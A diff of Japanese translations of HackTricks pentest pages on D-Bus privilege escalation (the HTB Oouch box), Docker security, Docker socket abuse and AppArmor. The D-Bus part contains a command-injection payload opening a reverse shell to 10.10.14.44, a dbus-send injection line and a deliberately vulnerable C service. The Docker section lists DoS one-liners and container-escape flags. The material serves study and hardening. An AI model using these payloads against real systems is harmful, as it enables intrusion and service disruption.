+次のpythonコードは、`block_iface.Block(runme)`を介して`Block`メソッドにペイロードをD-Bus接続に送信します(_これは前のコードのチャンクから抽出されたことに注意してください_): ```python import dbus bus = dbus.SystemBus() @@ -305,24 +278,20 @@ runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #" response = block_iface.Block(runme) bus.close() ``` - -#### busctl and dbus-send - +#### busctl と dbus-send ```bash dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' ``` +- `dbus-send` は「Message Bus」にメッセージを送信するためのツールです。 +- Message Bus – システムがアプリケーション間の通信を容易にするために使用するソフトウェアです。これはメッセージキューに関連しています(メッセージは順序通りに並べられます)が、Message Busではメッセージはサブスクリプションモデルで送信され、非常に迅速です。 +- “-system” タグは、セッションメッセージではなくシステムメッセージであることを示すために使用されます(デフォルト)。 +- “–print-reply” タグは、メッセージを適切に印刷し、人間が読みやすい形式で返信を受け取るために使用されます。 +- “–dest=Dbus-Interface-Block” Dbusインターフェースのアドレスです。 +- “–string:” – インターフェースに送信したいメッセージのタイプです。メッセージを送信するための形式には、ダブル、バイト、ブール値、整数、オブジェクトパスなどがあります。この中で、「オブジェクトパス」はファイルのパスをDbusインターフェースに送信したいときに便利です。この場合、特別なファイル(FIFO)を使用して、ファイルの名前でインターフェースにコマンドを渡すことができます。“string:;” – これはFIFOリバースシェルファイル/コマンドの場所を指定してオブジェクトパスを再度呼び出すためのものです。 -- `dbus-send` is a tool used to send message to “Message Bus” -- Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick. -- “-system” tag is used to mention that it is a system message, not a session message (by default). -- “–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format. -- “–dest=Dbus-Interface-Block” The address of the Dbus interface. -- “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command. - -_Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._ +_`htb.oouch.Block.Block` では、最初の部分(`htb.oouch.Block`)がサービスオブジェクトを参照し、最後の部分(`.Block`)がメソッド名を参照していることに注意してください。_ ### C code - ```c:d-bus_server.c //sudo apt install pkgconf //sudo apt install libsystemd-dev @@ -336,135 +305,134 @@ _Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) refere #include static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) { - char* host = NULL; - int r; +char* host = NULL; +int r; - /* Read the parameters */ - r = sd_bus_message_read(m, "s", &host); - if (r < 0) { - fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); - return r; - } +/* Read the parameters */ +r = sd_bus_message_read(m, "s", &host); +if (r < 0) { +fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); +return r; +} - char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; +char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; - int command_len = strlen(command); - int host_len = strlen(host); +int command_len = strlen(command); +int host_len = strlen(host); - char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); - if(command_buffer == NULL) { - fprintf(stderr, "Failed to allocate memory\n"); - return -1; - } +char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); +if(command_buffer == NULL) { +fprintf(stderr, "Failed to allocate memory\n"); +return -1; +} - sprintf(command_buffer, command, host); +sprintf(command_buffer, command, host); - /* In the first implementation, we simply ran command using system(), since the expected DBus - * to be threading automatically. However, DBus does not thread and the application will hang - * forever if some user spawns a shell. Thefore we need to fork (easier than implementing real - * multithreading) - */ - int pid = fork(); +/* In the first implementation, we simply ran command using system(), since the expected DBus +* to be threading automatically. However, DBus does not thread and the application will hang +* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real +* multithreading) +*/ +int pid = fork(); - if ( pid == 0 ) { - /* Here we are in the child process. We execute the command and eventually exit. */ - system(command_buffer); - exit(0); - } else { - /* Here we are in the parent process or an error occured. We simply send a genric message. - * In the first implementation we returned separate error messages for success or failure. - * However, now we cannot wait for results of the system call. Therefore we simply return - * a generic. */ - return sd_bus_reply_method_return(m, "s", "Carried out :D"); - } - r = system(command_buffer); +if ( pid == 0 ) { +/* Here we are in the child process. We execute the command and eventually exit. */ +system(command_buffer); +exit(0); +} else { +/* Here we are in the parent process or an error occured. We simply send a genric message. +* In the first implementation we returned separate error messages for success or failure. +* However, now we cannot wait for results of the system call. Therefore we simply return +* a generic. */ +return sd_bus_reply_method_return(m, "s", "Carried out :D"); +} +r = system(command_buffer); } /* The vtable of our little object, implements the net.poettering.Calculator interface */ static const sd_bus_vtable block_vtable[] = { - SD_BUS_VTABLE_START(0), - SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), - SD_BUS_VTABLE_END +SD_BUS_VTABLE_START(0), +SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), +SD_BUS_VTABLE_END }; int main(int argc, char *argv[]) { - /* - * Main method, registeres the htb.oouch.Block service on the system dbus. - * - * Paramaters: - * argc (int) Number of arguments, not required - * argv[] (char**) Argument array, not required - * - * Returns: - * Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive - * as long as the user keeps it alive. - */ +/* +* Main method, registeres the htb.oouch.Block service on the system dbus. +* +* Paramaters: +* argc (int) Number of arguments, not required +* argv[] (char**) Argument array, not required +* +* Returns: +* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive +* as long as the user keeps it alive. +*/ - /* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ - signal(SIGCHLD,SIG_IGN); +/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ +signal(SIGCHLD,SIG_IGN); - sd_bus_slot *slot = NULL; - sd_bus *bus = NULL; - int r; +sd_bus_slot *slot = NULL; +sd_bus *bus = NULL; +int r; - /* First we need to connect to the system bus. */ - r = sd_bus_open_system(&bus); - if (r < 0) - { - fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); - goto finish; - } +/* First we need to connect to the system bus. */ +r = sd_bus_open_system(&bus); +if (r < 0) +{ +fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); +goto finish; +} - /* Install the object */ - r = sd_bus_add_object_vtable(bus, - &slot, - "/htb/oouch/Block", /* interface */ - "htb.oouch.Block", /* service object */ - block_vtable, - NULL); - if (r < 0) { - fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); - goto finish; - } +/* Install the object */ +r = sd_bus_add_object_vtable(bus, +&slot, +"/htb/oouch/Block", /* interface */ +"htb.oouch.Block", /* service object */ +block_vtable, +NULL); +if (r < 0) { +fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); +goto finish; +} - /* Register the service name to find out object */ - r = sd_bus_request_name(bus, "htb.oouch.Block", 0); - if (r < 0) { - fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); - goto finish; - } +/* Register the service name to find out object */ +r = sd_bus_request_name(bus, "htb.oouch.Block", 0); +if (r < 0) { +fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); +goto finish; +} - /* Infinite loop to process the client requests */ - for (;;) { - /* Process requests */ - r = sd_bus_process(bus, NULL); - if (r < 0) { - fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); - goto finish; - } - if (r > 0) /* we processed a request, try to process another one, right-away */ - continue; +/* Infinite loop to process the client requests */ +for (;;) { +/* Process requests */ +r = sd_bus_process(bus, NULL); +if (r < 0) { +fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); +goto finish; +} +if (r > 0) /* we processed a request, try to process another one, right-away */ +continue; - /* Wait for the next request to process */ - r = sd_bus_wait(bus, (uint64_t) -1); - if (r < 0) { - fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); - goto finish; - } - } +/* Wait for the next request to process */ +r = sd_bus_wait(bus, (uint64_t) -1); +if (r < 0) { +fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); +goto finish; +} +} finish: - sd_bus_slot_unref(slot); - sd_bus_unref(bus); +sd_bus_slot_unref(slot); +sd_bus_unref(bus); - return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; +return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; } ``` - -## References +## 参考文献 - [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index 8157412fd..ad183d5fa 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -4,7 +4,7 @@ ## **基本的なDockerエンジンのセキュリティ** -**Dockerエンジン**は、Linuxカーネルの**ネームスペース**と**Cgroups**を利用してコンテナを隔離し、基本的なセキュリティ層を提供します。追加の保護は、**Capabilities dropping**、**Seccomp**、および**SELinux/AppArmor**を通じて提供され、コンテナの隔離が強化されます。**auth plugin**は、ユーザーの行動をさらに制限することができます。 +**Dockerエンジン**は、Linuxカーネルの**ネームスペース**と**Cgroups**を使用してコンテナを隔離し、基本的なセキュリティ層を提供します。追加の保護は、**Capabilities dropping**、**Seccomp**、および**SELinux/AppArmor**を通じて提供され、コンテナの隔離が強化されます。**auth plugin**は、ユーザーのアクションをさらに制限できます。 ![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) @@ -12,7 +12,7 @@ Dockerエンジンには、Unixソケットを介してローカルでアクセスするか、HTTPを使用してリモートでアクセスできます。リモートアクセスの場合、機密性、整合性、および認証を確保するためにHTTPSと**TLS**を使用することが重要です。 -Dockerエンジンは、デフォルトで`unix:///var/run/docker.sock`のUnixソケットでリッスンします。Ubuntuシステムでは、Dockerの起動オプションは`/etc/default/docker`に定義されています。Docker APIとクライアントへのリモートアクセスを有効にするには、以下の設定を追加してDockerデーモンをHTTPソケット経由で公開します: +Dockerエンジンは、デフォルトで`unix:///var/run/docker.sock`のUnixソケットでリッスンします。Ubuntuシステムでは、Dockerの起動オプションは`/etc/default/docker`に定義されています。Docker APIとクライアントへのリモートアクセスを有効にするには、次の設定を追加してDockerデーモンをHTTPソケット経由で公開します: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart @@ -30,17 +30,17 @@ sudo service docker restart - [**Docker Hub**](https://hub.docker.com): Dockerのパブリックレジストリサービス。 - [**Docker Registry**](https://github.com/docker/distribution): ユーザーが自分のレジストリをホストできるオープンソースプロジェクト。 -- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): ロールベースのユーザー認証とLDAPディレクトリサービスとの統合を特徴とするDockerの商用レジストリオファリング。 +- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): ロールベースのユーザー認証とLDAPディレクトリサービスとの統合を特徴とするDockerの商用レジストリ提供。 ### イメージスキャン -コンテナは、ベースイメージまたはベースイメージの上にインストールされたソフトウェアのために**セキュリティ脆弱性**を持つ可能性があります。Dockerは、コンテナのセキュリティスキャンを行い、脆弱性をリストアップする**Nautilus**というプロジェクトに取り組んでいます。Nautilusは、各コンテナイメージレイヤーを脆弱性リポジトリと比較することで、セキュリティホールを特定します。 +コンテナは、ベースイメージのため、またはベースイメージの上にインストールされたソフトウェアのために、**セキュリティ脆弱性**を持つ可能性があります。Dockerは、コンテナのセキュリティスキャンを行い、脆弱性をリストアップする**Nautilus**というプロジェクトに取り組んでいます。Nautilusは、各コンテナイメージレイヤーを脆弱性リポジトリと比較することで、セキュリティホールを特定します。 詳細については、[**こちらをお読みください**](https://docs.docker.com/engine/scan/)。 - **`docker scan`** -**`docker scan`**コマンドを使用すると、イメージ名またはIDを使用して既存のDockerイメージをスキャンできます。たとえば、hello-worldイメージをスキャンするには、次のコマンドを実行します: +**`docker scan`**コマンドを使用すると、イメージ名またはIDを使用して既存のDockerイメージをスキャンできます。たとえば、次のコマンドを実行してhello-worldイメージをスキャンします: ```bash docker scan hello-world @@ -92,25 +92,25 @@ Dockerホストを切り替える際は、操作を維持するためにルー **主なプロセス隔離機能** -コンテナ化された環境では、プロジェクトとそのプロセスを隔離することがセキュリティとリソース管理のために重要です。以下は、主要な概念の簡単な説明です: +コンテナ化された環境では、プロジェクトとそのプロセスを隔離することがセキュリティとリソース管理のために重要です。以下は、主要な概念の簡略化された説明です: **ネームスペース** - **目的**: プロセス、ネットワーク、ファイルシステムなどのリソースの隔離を確保します。特にDockerでは、ネームスペースがコンテナのプロセスをホストや他のコンテナから分離します。 - **`unshare`の使用**: `unshare`コマンド(または基盤となるシステムコール)は、新しいネームスペースを作成するために利用され、追加の隔離層を提供します。ただし、Kubernetesはこれを本質的にブロックしませんが、Dockerはブロックします。 -- **制限**: 新しいネームスペースを作成しても、プロセスがホストのデフォルトネームスペースに戻ることはできません。ホストのネームスペースに侵入するには、通常、ホストの`/proc`ディレクトリへのアクセスが必要で、`nsenter`を使用して入ります。 +- **制限**: 新しいネームスペースを作成しても、プロセスがホストのデフォルトネームスペースに戻ることはできません。ホストネームスペースに侵入するには、通常、ホストの`/proc`ディレクトリへのアクセスが必要で、`nsenter`を使用して入ります。 -**コントロールグループ (CGroups)** +**コントロールグループ(CGroups)** - **機能**: 主にプロセス間でリソースを割り当てるために使用されます。 -- **セキュリティの側面**: CGroups自体は隔離セキュリティを提供しませんが、`release_agent`機能が誤って設定されると、無許可のアクセスに悪用される可能性があります。 +- **セキュリティの側面**: CGroups自体は隔離セキュリティを提供しませんが、`release_agent`機能が誤って構成されると、無許可のアクセスに悪用される可能性があります。 **能力のドロップ** - **重要性**: プロセス隔離のための重要なセキュリティ機能です。 - **機能**: 特定の能力をドロップすることで、ルートプロセスが実行できるアクションを制限します。プロセスがルート権限で実行されていても、必要な能力が欠けていると、特権アクションを実行できず、システムコールは権限不足のために失敗します。 -これらは、プロセスが他の能力をドロップした後の**残りの能力**です: +これがプロセスが他の能力をドロップした後の**残りの能力**です: ``` Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep ``` @@ -166,9 +166,9 @@ cgroups.md ### Capabilities -Capabilitiesは、**rootユーザーに許可される能力をより細かく制御する**ことを可能にします。DockerはLinuxカーネルの能力機能を使用して、**ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限します**。 +Capabilitiesは、**rootユーザーに許可される能力をより細かく制御する**ことを可能にします。DockerはLinuxカーネルの能力機能を使用して、**ユーザーの種類に関係なくコンテナ内で実行できる操作を制限**します。 -Dockerコンテナが実行されると、**プロセスは隔離から脱出するために使用できる敏感な能力を放棄します**。これは、プロセスが敏感なアクションを実行し、脱出できないことを保証しようとします: +Dockerコンテナが実行されると、**プロセスは隔離から脱出するために使用できる敏感な能力を放棄します**。これは、プロセスが敏感なアクションを実行し、脱出できないようにすることを保証しようとします: {{#ref}} ../linux-capabilities.md @@ -184,7 +184,7 @@ seccomp.md ### AppArmor in Docker -**AppArmor**は、**コンテナ**を**限られた**リソースの**セット**に制限するためのカーネル拡張です。**プログラムごとのプロファイル**を持っています: +**AppArmor**は、**コンテナ**を**限られた**リソースの**セット**に**プログラムごとのプロファイル**で制限するためのカーネル拡張です: {{#ref}} apparmor.md @@ -219,7 +219,7 @@ authz-and-authn-docker-access-authorization-plugin.md ## コンテナからのDoS -コンテナが使用できるリソースを適切に制限していない場合、侵害されたコンテナが実行されているホストにDoSを引き起こす可能性があります。 +コンテナが使用できるリソースを適切に制限しない場合、侵害されたコンテナが実行されているホストにDoSを引き起こす可能性があります。 - CPU DoS ```bash @@ -229,7 +229,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t # While loop docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' ``` -- 帯域幅DoS +- バンド幅DoS ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` @@ -237,7 +237,7 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; ### --privilegedフラグ -次のページでは**`--privileged`フラグが何を意味するか**を学ぶことができます: +次のページで**`--privileged`フラグが何を意味するか**を学ぶことができます: {{#ref}} docker-privileged.md @@ -247,9 +247,9 @@ docker-privileged.md #### no-new-privileges -攻撃者が低い権限のユーザーとしてアクセスを得ることができるコンテナを実行している場合、**誤って設定されたsuidバイナリ**があると、攻撃者はそれを悪用し、**コンテナ内で権限を昇格させる**可能性があります。これにより、彼はコンテナから脱出できるかもしれません。 +攻撃者が低特権ユーザーとしてアクセスを得ることができるコンテナを実行している場合、**誤って設定されたsuidバイナリ**があると、攻撃者はそれを悪用して**コンテナ内で特権を昇格させる**可能性があります。これにより、彼はコンテナから脱出できるかもしれません。 -**`no-new-privileges`**オプションを有効にしてコンテナを実行すると、この種の権限昇格を**防ぐ**ことができます。 +**`no-new-privileges`**オプションを有効にしてコンテナを実行すると、この種の特権昇格を**防ぐことができます**。 ``` docker run -it --security-opt=no-new-privileges:true nonewpriv ``` @@ -268,29 +268,29 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv # You can manually disable selinux in docker with --security-opt label:disable ``` -For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) +より多くの **`--security-opt`** オプションについては、次を確認してください: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) ## その他のセキュリティ考慮事項 ### シークレットの管理: ベストプラクティス -シークレットをDockerイメージに直接埋め込んだり、環境変数を使用したりすることは避けることが重要です。これらの方法は、`docker inspect`や`exec`のようなコマンドを通じてコンテナにアクセスできる誰にでも機密情報を露出させます。 +シークレットをDockerイメージに直接埋め込んだり、環境変数を使用したりすることは避けることが重要です。これらの方法は、`docker inspect` や `exec` のようなコマンドを通じてコンテナにアクセスできる誰にでも機密情報を露出させてしまいます。 -**Dockerボリューム**は、機密情報にアクセスするためのより安全な代替手段です。これらはメモリ内の一時ファイルシステムとして利用でき、`docker inspect`やログに関連するリスクを軽減します。ただし、ルートユーザーやコンテナへの`exec`アクセスを持つ者は、依然としてシークレットにアクセスできる可能性があります。 +**Dockerボリューム** は、機密情報にアクセスするためのより安全な代替手段です。これらはメモリ内の一時ファイルシステムとして利用でき、`docker inspect` やログに関連するリスクを軽減します。ただし、ルートユーザーやコンテナへの `exec` アクセスを持つ者は、依然としてシークレットにアクセスできる可能性があります。 -**Dockerシークレット**は、機密情報を扱うためのさらに安全な方法を提供します。イメージビルドフェーズ中にシークレットが必要なインスタンスの場合、**BuildKit**はビルド時のシークレットをサポートし、ビルド速度を向上させ、追加機能を提供する効率的なソリューションを提供します。 +**Dockerシークレット** は、機密情報を扱うためのさらに安全な方法を提供します。イメージビルドフェーズ中にシークレットが必要なインスタンスの場合、**BuildKit** はビルド時のシークレットをサポートし、ビルド速度を向上させ、追加機能を提供する効率的なソリューションを提供します。 -BuildKitを活用するには、以下の3つの方法で有効化できます: +BuildKitを活用するには、次の3つの方法で有効化できます: 1. 環境変数を通じて: `export DOCKER_BUILDKIT=1` -2. コマンドにプレフィックスを付けて: `DOCKER_BUILDKIT=1 docker build .` +2. コマンドの前に接頭辞を付ける: `DOCKER_BUILDKIT=1 docker build .` 3. Docker設定でデフォルトで有効にする: `{ "features": { "buildkit": true } }`、その後Dockerを再起動します。 -BuildKitは、`--secret`オプションを使用してビルド時のシークレットを利用でき、これらのシークレットがイメージビルドキャッシュや最終イメージに含まれないようにします。コマンドの例: +BuildKitは、`--secret` オプションを使用してビルド時のシークレットを利用できるようにし、これらのシークレットがイメージビルドキャッシュや最終イメージに含まれないようにします。コマンドの例: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` -実行中のコンテナに必要な秘密のために、**Docker Compose と Kubernetes** は堅牢なソリューションを提供します。Docker Compose は、`docker-compose.yml` の例に示すように、秘密ファイルを指定するためにサービス定義内の `secrets` キーを利用します: +実行中のコンテナに必要な秘密のために、**Docker Compose と Kubernetes** は堅牢なソリューションを提供します。Docker Compose は、`docker-compose.yml` の例に示すように、秘密ファイルを指定するためにサービス定義内の `secrets` キーを利用します。 ```yaml version: "3.7" services: @@ -321,24 +321,24 @@ Kubernetes環境では、シークレットがネイティブにサポートさ ### まとめのヒント -- **`--privileged`フラグを使用したり、** [**Dockerソケットをコンテナ内にマウントしないでください**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Dockerソケットはコンテナを生成することを可能にするため、`--privileged`フラグを使用して別のコンテナを実行することでホストを完全に制御する簡単な方法です。 +- **`--privileged`フラグを使用したり、** [**Dockerソケットをコンテナ内にマウントしないでください**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Dockerソケットはコンテナを生成することを可能にするため、例えば`--privileged`フラグを使用して別のコンテナを実行することで、ホストを完全に制御する簡単な方法です。 - **コンテナ内でrootとして実行しないでください。** [**異なるユーザーを使用し**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **、** [**ユーザー名前空間を使用してください**](https://docs.docker.com/engine/security/userns-remap/)**。** コンテナ内のrootは、ユーザー名前空間で再マップされない限り、ホストのrootと同じです。主にLinuxの名前空間、機能、cgroupsによって軽く制限されています。 - [**すべての機能を削除**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`)し、必要なものだけを有効にしてください** (`--cap-add=...`)。多くのワークロードは機能を必要とせず、追加すると潜在的な攻撃の範囲が広がります。 - [**“no-new-privileges”セキュリティオプションを使用**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)して、プロセスがより多くの特権を取得するのを防ぎます。例えば、suidバイナリを通じて。 - [**コンテナに利用可能なリソースを制限**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**。** リソース制限は、サービス拒否攻撃からマシンを保護できます。 - **seccomp** [**、AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(またはSELinux)プロファイルを調整して、コンテナに必要な最小限のアクションとシステムコールを制限します。** -- **公式のdockerイメージを使用し** [**、署名を要求**](https://docs.docker.com/docker-hub/official_images/) **するか、それに基づいて自分のものを構築してください。** バックドア付きの[**イメージを継承したり使用しないでください**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)。また、ルートキーやパスフレーズを安全な場所に保管してください。DockerはUCPでキーを管理する計画を持っています。 +- **公式のDockerイメージを使用し** [**、署名を要求**](https://docs.docker.com/docker-hub/official_images/) **するか、それに基づいて自分のイメージを構築してください。** バックドア付きの[**イメージを継承したり使用したりしないでください**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)。また、ルートキーやパスフレーズを安全な場所に保管してください。DockerはUCPでキーを管理する計画を持っています。 - **定期的に** **イメージを再構築して、ホストとイメージにセキュリティパッチを適用します。** - **シークレットを賢く管理**して、攻撃者がアクセスしにくくします。 - Dockerデーモンを**公開する場合は、クライアントとサーバーの認証を使用してHTTPSを使用してください。** - Dockerfileでは、**ADDの代わりにCOPYを優先してください。** ADDは自動的に圧縮ファイルを抽出し、URLからファイルをコピーできます。COPYにはこれらの機能がありません。可能な限りADDの使用を避け、リモートURLやZipファイルを通じた攻撃に対して脆弱にならないようにしてください。 - **各マイクロサービスに対して別々のコンテナを持つ** -- **コンテナ内にsshを置かないでください。** “docker exec”を使用してコンテナにsshできます。 +- **コンテナ内にsshを置かない**でください。「docker exec」を使用してコンテナにsshできます。 - **より小さな**コンテナ**イメージを持つ** ## Dockerブレイクアウト / 特権昇格 -もしあなたが**dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセスできる場合**、**脱出して特権を昇格させる**ことを試みることができます: +もしあなたが**Dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセスできる**場合、**脱出して特権を昇格させる**ことを試みることができます: {{#ref}} docker-breakout-privilege-escalation/ @@ -346,7 +346,7 @@ docker-breakout-privilege-escalation/ ## Docker認証プラグインバイパス -もしあなたがdockerソケットにアクセスできるか、**dockerグループのユーザーにアクセスできるが、あなたの行動がdocker認証プラグインによって制限されている場合**、**バイパスできるか確認してください:** +もしあなたがDockerソケットにアクセスできるか、**dockerグループのユーザーにアクセスできるが、あなたの行動がDocker認証プラグインによって制限されている**場合、**バイパスできるか確認してください:** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md @@ -355,7 +355,7 @@ authz-and-authn-docker-access-authorization-plugin.md ## Dockerのハードニング - ツール[**docker-bench-security**](https://github.com/docker/docker-bench-security)は、Dockerコンテナを本番環境で展開する際の一般的なベストプラクティスをチェックするスクリプトです。テストはすべて自動化されており、[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)に基づいています。\ -このツールは、dockerを実行しているホストまたは十分な特権を持つコンテナから実行する必要があります。**READMEでの実行方法を確認してください:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。 +このツールは、Dockerを実行しているホストまたは十分な特権を持つコンテナから実行する必要があります。**READMEでの実行方法を確認してください:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。 ## 参考文献 diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index a14b2aea2..d3e3e9720 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -9,7 +9,7 @@ Dockerソケットに**アクセス**できる場合があり、それを使用 ルートとして実行されているコンテナ内で**ファイルシステム**の異なる部分を**マウント**し、それに**アクセス**できます。\ コンテナ内で特権を昇格させるために**マウントを悪用する**こともできます。 -- **`-v /:/host`** -> ホストのファイルシステムをコンテナにマウントし、**ホストのファイルシステムを読み取る**ことができます。 +- **`-v /:/host`** -> ホストのファイルシステムをコンテナにマウントして、**ホストのファイルシステムを読み取る**ことができます。 - **ホストにいるように感じたい**がコンテナにいる場合、次のようなフラグを使用して他の防御メカニズムを無効にすることができます: - `--privileged` - `--cap-add=ALL` @@ -34,10 +34,10 @@ Dockerソケットに**アクセス**できる場合があり、それを使用 ### コンテナからの脱出 - **`--privileged`** -> このフラグを使用すると、[コンテナからのすべての隔離を削除します](docker-privileged.md#what-affects)。特権コンテナから[ルートとして脱出する技術](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)を確認してください。 -- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [特権を昇格させるために能力を悪用する](../linux-capabilities.md)、**その能力をコンテナに付与し、エクスプロイトが機能するのを妨げる可能性のある他の保護方法を無効にします。** +- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [能力を悪用して昇格するために](../linux-capabilities.md)、**その能力をコンテナに付与し**、エクスプロイトが機能するのを妨げる可能性のある他の保護方法を無効にします。 ### Curl -このページでは、Dockerフラグを使用して特権を昇格させる方法について説明しました。**curl**コマンドを使用してこれらの方法を悪用する方法をページで見つけることができます。 +このページでは、Dockerフラグを使用して特権を昇格させる方法について説明しました。**curl**コマンドを使用してこれらの方法を悪用する方法については、次のページを参照してください: {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md index 3edda24a3..d5540b65d 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -18,12 +18,12 @@ AppArmorプロファイルには2つの運用モードがあります: - **パーサー**:ポリシーをカーネルにロードして強制または報告します。 - **ユーティリティ**:AppArmorとのインターフェースを提供し、管理するためのユーザーモードプログラムです。 -### プロファイルのパス +### プロファイルパス AppArmorプロファイルは通常、_**/etc/apparmor.d/**_に保存されます。\ -`sudo aa-status`を使用すると、いくつかのプロファイルによって制限されているバイナリのリストを表示できます。リストされた各バイナリのパスの「/」をドットに変更すると、指定されたフォルダー内のAppArmorプロファイルの名前が得られます。 +`sudo aa-status`を使用すると、いくつかのプロファイルによって制限されているバイナリをリストできます。リストされた各バイナリのパスの「/」をドットに変更すると、指定されたフォルダー内のAppArmorプロファイルの名前が得られます。 -例えば、_**/usr/bin/man**_のための**AppArmor**プロファイルは、_**/etc/apparmor.d/usr.bin.man**_にあります。 +例えば、**apparmor**プロファイルは_/usr/bin/man_に対しては、_/etc/apparmor.d/usr.bin.man_にあります。 ### コマンド ```bash @@ -45,9 +45,9 @@ aa-mergeprof #used to merge the policies - **k** (ファイルロック) - **l** (ハードリンクの作成) - **ix** (新しいプログラムがポリシーを継承して別のプログラムを実行するため) -- **Px** (環境をクリーンアップした後、別のプロファイルの下で実行) -- **Cx** (環境をクリーンアップした後、子プロファイルの下で実行) -- **Ux** (環境をクリーンアップした後、制限なしで実行) +- **Px** (環境をクリーンにした後、別のプロファイルの下で実行) +- **Cx** 